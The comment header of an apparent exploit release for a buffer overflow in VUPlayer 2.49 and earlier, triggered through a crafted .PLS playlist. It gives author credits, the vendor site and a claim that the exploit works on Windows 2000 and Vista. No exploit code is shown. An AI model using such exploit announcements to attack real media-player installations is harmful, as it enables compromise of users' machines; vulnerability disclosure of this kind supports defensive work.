# VUPlayer <= 2.49 .PLS Universal Buffer Overflow Exploit
# -------------------------------------------------------
# Discovered & Exploit by SkD (skdrat _at_ hotmail.com) &
#			      (skd _at_ abysssec.com)
# -------------------------------------------------------
# This is a pretty cool player considering it is
# freeware. You may download VUPlayer at the affected
# vendors homepage:
# 	http://www.vuplayer.com
#
# With the recent resurgence of buffer overflows in
# in media players, I thought I'd join in the fun ;).
# The exploit is pretty much straight forward and it's
# also universal so 2x the fun (tested on Win2k and
# Vista).
#
# Enjoy.
#
# Shouts go to InTeL, shahin & rest of Abysssec, suN8Hclf
# and most importantly KkD.
